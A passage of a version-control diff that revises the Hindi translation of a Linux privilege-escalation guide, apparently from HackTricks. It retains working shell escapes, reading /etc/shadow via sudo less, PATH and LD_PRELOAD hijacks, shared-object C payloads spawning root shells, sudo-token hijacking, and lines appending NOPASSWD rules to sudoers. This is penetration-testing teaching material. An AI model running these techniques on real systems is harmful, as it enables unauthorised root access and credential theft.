सकती है या उन पर suid बिट सेट हो सकता है। इसे जांचने के लिए उपयोग करें: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -कुछ **अप्रत्याशित कमांड आपको फ़ाइलें पढ़ने और/या लिखने या यहां तक कि एक कमांड निष्पादित करने की अनुमति देती हैं।** उदाहरण के लिए: +कुछ **अनपेक्षित commands आपको फ़ाइलें पढ़ने और/या लिखने या यहां तक कि कोई command निष्पादित करने की अनुमति देते हैं।** उदाहरण के लिए: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -722,31 +722,31 @@ less>! ``` ### NOPASSWD -Sudo कॉन्फ़िगरेशन एक उपयोगकर्ता को बिना पासवर्ड जाने किसी अन्य उपयोगकर्ता के विशेषाधिकारों के साथ कुछ कमांड निष्पादित करने की अनुमति दे सकता है। +Sudo configuration किसी उपयोगकर्ता को बिना पासवर्ड जाने किसी अन्य उपयोगकर्ता के अधिकारों के साथ कोई कमांड चलाने की अनुमति दे सकती है। ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है, अब रूट निर्देशिका में एक ssh कुंजी जोड़कर या `sh` को कॉल करके एक शेल प्राप्त करना तुच्छ है। +इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है; अब root directory में एक ssh key जोड़कर या `sh` कॉल करके एक shell प्राप्त करना बहुत आसान है। ``` sudo vim -c '!sh' ``` ### SETENV -यह निर्देश उपयोगकर्ता को **एक वातावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित कर रहा है: +यह निर्देश उपयोगकर्ता को किसी चीज़ को निष्पादित करते समय **set an environment variable** करने की अनुमति देता है: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -इस उदाहरण, **HTB मशीन Admirer** पर आधारित, **PYTHONPATH हाइजैकिंग** के लिए **संवेदनशील** था ताकि स्क्रिप्ट को रूट के रूप में निष्पादित करते समय एक मनमाना पायथन पुस्तकालय लोड किया जा सके: +यह उदाहरण, **HTB machine Admirer पर आधारित**, **PYTHONPATH hijacking** के प्रति **कमज़ोर** था, जिससे script को root के रूप में चलाते समय किसी भी python library को लोड किया जा सकता था: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo निष्पादन बाईपासिंग पथ +### Sudo execution bypassing paths -**कूदें** अन्य फ़ाइलें पढ़ने के लिए या **सिंबलिंक** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** अन्य फ़ाइलें पढ़ने के लिए या **symlinks** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -756,50 +756,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -यदि **वाइल्डकार्ड** (\*) का उपयोग किया जाता है, तो यह और भी आसान है: +यदि कोई **wildcard** (\*) इस्तेमाल किया गया हो, तो यह और भी आसान है: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**निवारक उपाय**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo कमांड/SUID बाइनरी बिना कमांड पथ के +### Sudo command/SUID binary without command path -यदि **sudo अनुमति** एकल कमांड को **पथ निर्दिष्ट किए बिना** दी गई है: _hacker10 ALL= (root) less_ तो आप इसे PATH वेरिएबल को बदलकर शोषण कर सकते हैं। +यदि **sudo permission** किसी एक कमांड को **path निर्दिष्ट किए बिना** दिया गया है: _hacker10 ALL= (root) less_ तो आप PATH variable बदलकर इसे exploit कर सकते हैं। ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -यह तकनीक तब भी उपयोग की जा सकती है यदि एक **suid** बाइनरी **बिना उसके पथ को निर्दिष्ट किए किसी अन्य कमांड को निष्पादित करती है (हमेशा एक अजीब SUID बाइनरी की सामग्री की जांच करने के लिए** _**strings**_ **का उपयोग करें)**। +यह तकनीक तब भी उपयोग की जा सकती है यदि कोई **suid** binary **किसी अन्य command को बिना path बताए execute करता है (हमेशा अजीब SUID binary की सामग्री को _**strings**_ से जांचें)**। [Payload examples to execute.](payloads-to-execute.md) -### कमांड पथ के साथ SUID बाइनरी +### SUID binary जिसमें command path दिया हो -यदि **suid** बाइनरी **पथ निर्दिष्ट करते हुए किसी अन्य कमांड को निष्पादित करती है**, तो आप उस कमांड के नाम से एक **फंक्शन** निर्यात करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है। +यदि **suid** binary **किसी अन्य command को path बताकर execute करता है**, तो आप उस command के नाम की **function** बनाकर और उसे **export** करके कोशिश कर सकते हैं जिसे suid file कॉल कर रहा है। -उदाहरण के लिए, यदि एक suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको फंक्शन बनाने और उसे निर्यात करने की कोशिश करनी चाहिए: +उदाहरण के लिए, यदि एक suid binary calls _**/usr/sbin/service apache2 start**_ तो आपको उस command के नाम की function बनाने और उसे export करने की कोशिश करनी होगी: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -फिर, जब आप suid बाइनरी को कॉल करते हैं, तो यह फ़ंक्शन निष्पादित होगा +फिर, जब आप suid binary को कॉल करते हैं, यह function निष्पादित होगा ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** पर्यावरण चर का उपयोग एक या अधिक साझा पुस्तकालयों (.so फ़ाइलें) को निर्दिष्ट करने के लिए किया जाता है जिन्हें लोडर द्वारा सभी अन्य के पहले लोड किया जाना है, जिसमें मानक C पुस्तकालय (`libc.so`) भी शामिल है। इस प्रक्रिया को पुस्तकालय को प्रीलोड करना कहा जाता है। +The **LD_PRELOAD** environment variable का उपयोग loader द्वारा अन्य सभी लाइब्रेरियों से पहले एक या अधिक shared libraries (.so files) को लोड करने के लिए किया जाता है, जिनमें standard C library (`libc.so`) भी शामिल है। इस प्रक्रिया को library preloading कहा जाता है। -हालांकि, सिस्टम की सुरक्षा बनाए रखने और इस सुविधा के दुरुपयोग को रोकने के लिए, विशेष रूप से **suid/sgid** निष्पादन योग्य के साथ, सिस्टम कुछ शर्तों को लागू करता है: +हालाँकि, system security बनाए रखने और इस फीचर के exploitation को रोकने के लिए, विशेष रूप से **suid/sgid** executables के साथ, सिस्टम कुछ शर्तें लागू करता है: -- लोडर उन निष्पादन योग्य के लिए **LD_PRELOAD** की अनदेखी करता है जहाँ वास्तविक उपयोगकर्ता आईडी (_ruid_) प्रभावी उपयोगकर्ता आईडी (_euid_) से मेल नहीं खाती। -- suid/sgid वाले निष्पादन योग्य के लिए, केवल मानक पथों में पुस्तकालयों को प्रीलोड किया जाता है जो भी suid/sgid होते हैं। +- loader उन executables के लिए **LD_PRELOAD** को अनदेखा कर देता है जहाँ real user ID (_ruid_) और effective user ID (_euid_) मेल नहीं खाते। +- suid/sgid वाले executables के लिए, केवल standard paths में मौजूद और स्वयं suid/sgid वाले libraries ही preload होते हैं। -अधिकार वृद्धि तब हो सकती है जब आपके पास `sudo` के साथ कमांड निष्पादित करने की क्षमता हो और `sudo -l` का आउटपुट **env_keep+=LD_PRELOAD** कथन को शामिल करता हो। यह कॉन्फ़िगरेशन **LD_PRELOAD** पर्यावरण चर को बनाए रखने और इसे मान्यता प्राप्त करने की अनुमति देता है, भले ही कमांड `sudo` के साथ चलाए जाएं, जो संभावित रूप से उच्चाधिकारों के साथ मनमाने कोड के निष्पादन की ओर ले जा सकता है। +Privilege escalation तब हो सकती है जब आपके पास `sudo` के साथ commands execute करने की क्षमता हो और `sudo -l` के output में **env_keep+=LD_PRELOAD** स्टेटमेंट शामिल हो। यह configuration **LD_PRELOAD** environment variable को तब भी बनाए रखने और मान्यता देने की अनुमति देता है जब commands `sudo` के साथ चलाए जाते हैं, जिससे संभावित रूप से elevated privileges के साथ arbitrary code का निष्पादन हो सकता है। ``` Defaults env_keep += LD_PRELOAD ``` -**/tmp/pe.c** के रूप में सहेजें +इसे **/tmp/pe.c** के रूप में सहेजें ```c #include #include @@ -812,17 +812,17 @@ setuid(0); system("/bin/bash"); } ``` -फिर **इसे संकलित करें**: +फिर **compile it** का उपयोग करके: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -अंत में, **privileges को बढ़ाना** चलाते हुए +अंत में, **escalate privileges** चलाकर ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> यदि हमलावर **LD_LIBRARY_PATH** env वेरिएबल को नियंत्रित करता है, तो एक समान प्रिवेस्क का दुरुपयोग किया जा सकता है क्योंकि वह उस पथ को नियंत्रित करता है जहाँ पुस्तकालयों की खोज की जाएगी। +> एक समान privesc का दुरुपयोग किया जा सकता है अगर attacker **LD_LIBRARY_PATH** env variable को नियंत्रित करता है, क्योंकि वह उस path को नियंत्रित करता है जहाँ libraries खोजी जाएँगी। ```c #include #include @@ -842,15 +842,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### SUID बाइनरी – .so इंजेक्शन +### SUID Binary – .so injection -जब किसी बाइनरी में **SUID** अनुमतियाँ असामान्य लगती हैं, तो यह सुनिश्चित करना एक अच्छा अभ्यास है कि यह **.so** फ़ाइलें सही ढंग से लोड कर रही है। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है: +जब किसी बाइनरी में **SUID** permissions हों और वह असामान्य लगे, तो यह अच्छा अभ्यास है कि यह जांचें कि क्या वह ठीक से **.so** फाइलें लोड कर रहा है। इसे निम्न कमांड चलाकर चेक किया जा सकता है: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (कोई ऐसा फ़ाइल या निर्देशिका नहीं)"_ जैसी त्रुटि का सामना करना शोषण की संभावना का सुझाव देती है। +उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ जैसी त्रुटि मिलने पर संभावित exploitation का संकेत मिलता है। -इसका शोषण करने के लिए, कोई एक C फ़ाइल बनाएगा, जैसे _"/path/to/.config/libcalc.c"_, जिसमें निम्नलिखित कोड होगा: +इसे exploit करने के लिए, आप एक C फ़ाइल बनाएँगे, मान लें _"/path/to/.config/libcalc.c"_, जिसमें निम्नलिखित कोड होगा: ```c #include #include @@ -861,15 +861,15 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -यह कोड, एक बार संकलित और निष्पादित होने पर, फ़ाइल अनुमतियों में हेरफेर करके और उच्चाधिकारों के साथ एक शेल निष्पादित करके विशेषाधिकारों को बढ़ाने का लक्ष्य रखता है। +यह code, एक बार compile और execute होने पर, file permissions को manipulate करके और elevated privileges के साथ shell को execute करके privileges बढ़ाने का लक्ष्य रखता है। -उपरोक्त C फ़ाइल को साझा वस्तु (.so) फ़ाइल में संकलित करें: +ऊपर दिए गए C file को shared object (.so) file में निम्नानुसार compile करें: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -अंततः, प्रभावित SUID बाइनरी को चलाना एक्सप्लॉइट को ट्रिगर करना चाहिए, जिससे संभावित सिस्टम समझौता हो सके। +अंत में, प्रभावित SUID बाइनरी को चलाने से exploit ट्रिगर हो जाना चाहिए, जिससे संभावित system compromise की अनुमति मिल सकती है। -## साझा ऑब्जेक्ट हाइजैकिंग +## Shared Object Hijacking ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -879,7 +879,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -अब जब हमने एक SUID बाइनरी खोज ली है जो एक ऐसे फ़ोल्डर से लाइब्रेरी लोड कर रही है जहाँ हम लिख सकते हैं, आइए उस फ़ोल्डर में आवश्यक नाम के साथ लाइब्रेरी बनाते हैं: +अब जब हमने एक SUID binary पाया है जो ऐसी फ़ोल्डर से लाइब्रेरी लोड कर रहा है जिसमें हम लिख सकते हैं, तो चलिए आवश्यक नाम के साथ उस फ़ोल्डर में लाइब्रेरी बनाते हैं: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -892,77 +892,79 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -यदि आपको कोई त्रुटि मिलती है जैसे +यदि आपको इस तरह की त्रुटि मिलती है ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -यह मतलब है कि आपने जो पुस्तकालय बनाया है, उसमें `a_function_name` नामक एक फ़ंक्शन होना चाहिए। +इसका मतलब है कि आपने जो लाइब्रेरी जनरेट की है उसमें `a_function_name` नाम का एक फ़ंक्शन होना चाहिए। ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) एक क्यूरेटेड सूची है Unix बाइनरीज़ की, जिन्हें एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप केवल **आर्गुमेंट्स** को एक कमांड में **इंजेक्ट** कर सकते हैं। +[**GTFOBins**](https://gtfobins.github.io) Unix binaries की एक क्यूरेटेड सूची है जिन्हें attacker द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए exploit किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहाँ आप **केवल arguments inject** कर सकते हैं किसी command में। -यह परियोजना उन Unix बाइनरीज़ के वैध फ़ंक्शंस को इकट्ठा करती है, जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल्स को स्पॉन करने, और अन्य पोस्ट-एक्सप्लॉइटेशन कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है। +यह project Unix binaries के legitimate functions को इकट्ठा करता है जिन्हें abuse करके restricted shells से बाहर निकलना, privileges escalate या बनाए रखना, files transfer करना, bind और reverse shells spawn करना और अन्य post-exploitation tasks को आसान बनाना संभव है। > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' + {{#ref}} https://gtfobins.github.io/ {{#endref}} + {{#ref}} https://gtfoargs.github.io/ {{#endref}} ### FallOfSudo -यदि आप `sudo -l` तक पहुँच सकते हैं, तो आप उपकरण [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) का उपयोग कर सकते हैं यह जांचने के लिए कि क्या यह किसी भी sudo नियम का शोषण करने का तरीका खोजता है। +यदि आप `sudo -l` तक पहुँच सकते हैं, तो आप टूल [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) का उपयोग कर सकते हैं यह जांचने के लिए कि यह किसी भी sudo नियम को exploit करने का तरीका ढूंढता है या नहीं। -### Sudo टोकन का पुन: उपयोग +### Reusing Sudo Tokens -उन मामलों में जहां आपके पास **sudo एक्सेस** है लेकिन पासवर्ड नहीं है, आप **sudo कमांड निष्पादन की प्रतीक्षा करके और फिर सत्र टोकन को हाईजैक करके** विशेषाधिकार बढ़ा सकते हैं। +ऐसे मामलों में जहाँ आपके पास **sudo access** है लेकिन password नहीं है, आप privileges escalate कर सकते हैं **एक sudo command के execution का इंतजार करके और फिर session token को hijack करके**। -विशेषाधिकार बढ़ाने की आवश्यकताएँ: +Requirements to escalate privileges: -- आपके पास पहले से "_sampleuser_" उपयोगकर्ता के रूप में एक शेल है -- "_sampleuser_" ने **अंतिम 15 मिनट** में कुछ निष्पादित करने के लिए **`sudo`** का उपयोग किया है (डिफ़ॉल्ट रूप से यह वह अवधि है जिसमें sudo टोकन हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देता है) -- `cat /proc/sys/kernel/yama/ptrace_scope` 0 है -- `gdb` सुलभ है (आप इसे अपलोड करने में सक्षम हो सकते हैं) +- आपके पास पहले से shell होना चाहिए user "_sampleuser_" के रूप में +- "_sampleuser_" ने **`sudo` का उपयोग** करके कुछ execute किया होना चाहिए **पिछले 15mins** में (default में यही sudo token की अवधि है जो हमें `sudo` का उपयोग बिना password दिए करने देती है) +- `cat /proc/sys/kernel/yama/ptrace_scope` 0 होना चाहिए +- `gdb` accessible होना चाहिए (आप इसे upload कर पाने में सक्षम होने चाहिए) -(आप अस्थायी रूप से `ptrace_scope` को `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` के साथ सक्षम कर सकते हैं या `/etc/sysctl.d/10-ptrace.conf` को स्थायी रूप से संशोधित करके और `kernel.yama.ptrace_scope = 0` सेट करके) +(आप अस्थायी रूप से `ptrace_scope` को `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` के साथ enable कर सकते हैं या स्थायी रूप से `/etc/sysctl.d/10-ptrace.conf` को modify करके और `kernel.yama.ptrace_scope = 0` सेट करके) -यदि ये सभी आवश्यकताएँ पूरी होती हैं, तो **आप विशेषाधिकार बढ़ा सकते हैं:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +यदि ये सभी आवश्यकताएँ पूरी हो जाती हैं, **आप निम्न का उपयोग करके privileges escalate कर सकते हैं:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **पहला शोषण** (`exploit.sh`) _/tmp_ में बाइनरी `activate_sudo_token` बनाएगा। आप इसका उपयोग अपने सत्र में **sudo टोकन को सक्रिय करने** के लिए कर सकते हैं (आपको स्वचालित रूप से एक रूट शेल नहीं मिलेगा, `sudo su` करें): +- पहला **exploit** (`exploit.sh`) binary `activate_sudo_token` को _/tmp_ में बनाएगा। आप इसका उपयोग अपने session में **sudo token activate करने के लिए** कर सकते हैं (आपको स्वतः ही root shell नहीं मिलेगा, `sudo su` करें): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- दूसरा **शोषण** (`exploit_v2.sh`) _/tmp_ में **रूट द्वारा सेटयूआईडी के साथ** एक श शेल बनाएगा +- यह **second exploit** (`exploit_v2.sh`) _/tmp_ में एक sh shell बनाएगा जो **root के स्वामित्व में और setuid के साथ** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- तीसरा **एक्सप्लॉइट** (`exploit_v3.sh`) **एक sudoers फ़ाइल बनाएगा** जो **sudo टोकन को शाश्वत बनाता है और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देता है** +- यह **तीसरा exploit** (`exploit_v3.sh`) **sudoers file बनाएगा** जो **sudo tokens को स्थायी बना देता है और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देता है** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -यदि आपके पास फ़ोल्डर में या फ़ोल्डर के अंदर बनाए गए किसी भी फ़ाइल पर **लेखन अनुमतियाँ** हैं, तो आप बाइनरी [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) का उपयोग करके **एक उपयोगकर्ता और PID के लिए sudo टोकन बना सकते हैं**।\ -उदाहरण के लिए, यदि आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को अधिलेखित कर सकते हैं और आपके पास उस उपयोगकर्ता के रूप में PID 1234 के साथ एक शेल है, तो आप **sudo विशेषाधिकार प्राप्त कर सकते हैं** बिना पासवर्ड जाने: +यदि आपके पास उस फ़ोल्डर में या फ़ोल्डर के अंदर बनाए गए किसी भी फ़ाइल पर लिखने की अनुमति है, तो आप बाइनरी [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) का उपयोग करके **किसी user और PID के लिए sudo token बना** सकते हैं.\ +उदाहरण के लिए, अगर आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को overwrite कर सकते हैं और उस user के रूप में आपके पास PID 1234 वाला shell है, तो आप पासवर्ड जाने बिना निम्नलिखित करके **sudo privileges** प्राप्त कर सकते हैं: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -फाइल `/etc/sudoers` और `/etc/sudoers.d` के अंदर की फाइलें यह निर्धारित करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे। ये फाइलें **डिफ़ॉल्ट रूप से केवल उपयोगकर्ता रूट और समूह रूट द्वारा पढ़ी जा सकती हैं**।\ -**यदि** आप इस फाइल को **पढ़** सकते हैं तो आप **कुछ दिलचस्प जानकारी प्राप्त कर सकते हैं**, और यदि आप कोई फाइल **लिख** सकते हैं तो आप **अधिकार बढ़ा** सकेंगे। +फ़ाइल `/etc/sudoers` और `/etc/sudoers.d` के अंदर की फ़ाइलें यह निर्धारित करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे।\ +**यदि** आप इस फ़ाइल को **पढ़** सकते हैं तो आप **कुछ रोचक जानकारी प्राप्त कर सकते हैं**, और यदि आप किसी भी फ़ाइल को **लिख** सकते हैं तो आप **escalate privileges** कर पाएंगे। ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -972,7 +974,7 @@ ls -ld /etc/sudoers.d/ echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -इन अनुमतियों का दुरुपयोग करने का एक और तरीका: +इन permissions का दुरुपयोग करने का एक और तरीका: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -981,17 +983,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` बाइनरी के कुछ विकल्प हैं जैसे कि `doas` OpenBSD के लिए, इसकी कॉन्फ़िगरेशन `/etc/doas.conf` पर जांचना न भूलें। +`sudo` बाइनरी के कुछ विकल्प हैं, जैसे OpenBSD के लिए `doas`; इसकी कॉन्फ़िगरेशन `/etc/doas.conf` पर जांचना न भूलें। ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -यदि आप जानते हैं कि एक **उपयोगकर्ता आमतौर पर एक मशीन से कनेक्ट होता है और विशेषाधिकार बढ़ाने के लिए `sudo` का उपयोग करता है** और आपके पास उस उपयोगकर्ता संदर्भ में एक शेल है, तो आप **एक नया sudo निष्पादन योग्य बना सकते हैं** जो आपके कोड को रूट के रूप में निष्पादित करेगा और फिर उपयोगकर्ता का कमांड। फिर, **उपयोगकर्ता संदर्भ का $PATH संशोधित करें** (उदाहरण के लिए .bash_profile में नया पथ जोड़कर) ताकि जब उपयोगकर्ता sudo निष्पादित करे, तो आपका sudo निष्पादन योग्य निष्पादित हो। +यदि आप जानते हैं कि **user आमतौर पर किसी machine से कनेक्ट होता है और `sudo` का उपयोग करता है** और आपने उस user context में एक shell हासिल कर लिया है, तो आप **create a new sudo executable** कर सकते हैं जो पहले आपकी code को root के रूप में चलाएगा और फिर user के कमांड को चलाएगा। फिर, user context का **$PATH** modify करें (उदाहरण के लिए नया path `.bash_profile` में जोड़कर) ताकि जब user `sudo` चलाए तो आपका sudo executable executed हो। -ध्यान दें कि यदि उपयोगकर्ता एक अलग शेल का उपयोग करता है (bash नहीं) तो आपको नए पथ को जोड़ने के लिए अन्य फ़ाइलों को संशोधित करने की आवश्यकता होगी। उदाहरण के लिए[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` को संशोधित करता है। आप [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) में एक और उदाहरण पा सकते हैं। +ध्यान दें कि यदि user कोई अलग shell (bash नहीं) उपयोग करता है तो नया path जोड़ने के लिए आपको अन्य files modify करनी पड़ेंगी। उदाहरण के लिए[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. आप एक और उदाहरण [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) में पा सकते हैं। -या कुछ ऐसा चलाना: +या कुछ इस तरह चलाना: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -`/var/tmp/flag15/` में lib को कॉपी करके, इसे `RPATH` वेरिएबल में निर्दिष्ट स्थान पर प्रोग्राम द्वारा उपयोग किया जाएगा। +lib को `/var/tmp/flag15/` में कॉपी करने पर इसे प्रोग्राम द्वारा उसी स्थान पर उपयोग किया जाएगा जैसा कि `RPATH` वेरिएबल में निर्दिष्ट है। ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1042,7 +1043,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -फिर `/var/tmp` में एक बुरा लाइब्रेरी बनाएं `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +फिर `/var/tmp` में `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` का उपयोग करके एक evil library बनाएं। ```c #include #define SHELL "/bin/sh" @@ -1057,37 +1058,38 @@ execve(file,argv,0); ``` ## क्षमताएँ -Linux क्षमताएँ एक **प्रक्रिया को उपलब्ध रूट विशेषाधिकारों का उपसमुच्चय** प्रदान करती हैं। यह प्रभावी रूप से रूट **विशेषाधिकारों को छोटे और विशिष्ट इकाइयों में विभाजित करता है**। इन इकाइयों में से प्रत्येक को स्वतंत्र रूप से प्रक्रियाओं को सौंपा जा सकता है। इस तरह पूर्ण विशेषाधिकारों का सेट कम हो जाता है, जिससे शोषण के जोखिम कम होते हैं।\ -**क्षमताओं और उन्हें कैसे दुरुपयोग करना है** के बारे में अधिक जानने के लिए निम्नलिखित पृष्ठ पढ़ें: +Linux capabilities प्रोसेस को उपलब्ध root privileges का एक **subset** प्रदान करती हैं। यह प्रभावी रूप से root **privileges को छोटे और विशिष्ट इकाइयों में विभाजित** कर देता है। इनमें से प्रत्येक इकाई को स्वतंत्र रूप से processes को दिया जा सकता है। इस तरह privileges का पूरा सेट कम हो जाता है, जिससे exploitation के जोखिम घटते हैं।\ +Read the following page to **learn more about capabilities and how to abuse them**: + {{#ref}} linux-capabilities.md {{#endref}} -## निर्देशिका अनुमतियाँ +## डायरेक्टरी अनुमतियाँ -एक निर्देशिका में, **"कार्यान्वयन"** के लिए बिट का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\ -**"पढ़ने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइल** **बना** सकता है। +एक directory में, **bit for "execute"** का अर्थ है कि प्रभावित user उस फ़ोल्डर में "**cd**" कर सकता है।\ +**"read"** बिट का अर्थ है कि user फ़ाइलों को **list** कर सकता है, और **"write"** बिट का अर्थ है कि user फ़ाइलों को **delete** और **create** कर सकता है। ## ACLs -एक्सेस कंट्रोल लिस्ट (ACLs) विवेकाधीन अनुमतियों की द्वितीयक परत का प्रतिनिधित्व करती हैं, जो **पारंपरिक ugo/rwx अनुमतियों को ओवरराइड** करने में सक्षम हैं। ये अनुमतियाँ फ़ाइल या निर्देशिका के एक्सेस पर नियंत्रण को बढ़ाती हैं, विशेष उपयोगकर्ताओं को अधिकार देने या अस्वीकार करने की अनुमति देकर जो मालिक नहीं हैं या समूह का हिस्सा नहीं हैं। यह स्तर की **सूक्ष्मता अधिक सटीक एक्सेस प्रबंधन सुनिश्चित करती है**। आगे की जानकारी [**यहाँ**](https://linuxconfig.org/how-to-manage-acls-on-linux) मिल सकती है। +Access Control Lists (ACLs) डिस्क्रीशनरी permissions की secondary layer को दर्शाते हैं, जो पारंपरिक ugo/rwx permissions को **overriding** करने में सक्षम हैं। ये permissions file या directory access पर नियंत्रण बढ़ाते हैं क्योंकि ये मालिक नहीं या समूह का हिस्सा नहीं होने वाले specific users को अधिकार देने या नकारने की अनुमति देते हैं। यह स्तर **granularity सुनिश्चित करता है कि access management अधिक सटीक हो**। Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**उपयोगकर्ता "kali" को एक फ़ाइल पर पढ़ने और लिखने की अनुमतियाँ दें:** +**Give** user "kali" को किसी file पर read और write permissions दें: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**विशिष्ट ACLs** वाले फ़ाइलें सिस्टम से प्राप्त करें: +**प्राप्त करें** सिस्टम से विशिष्ट 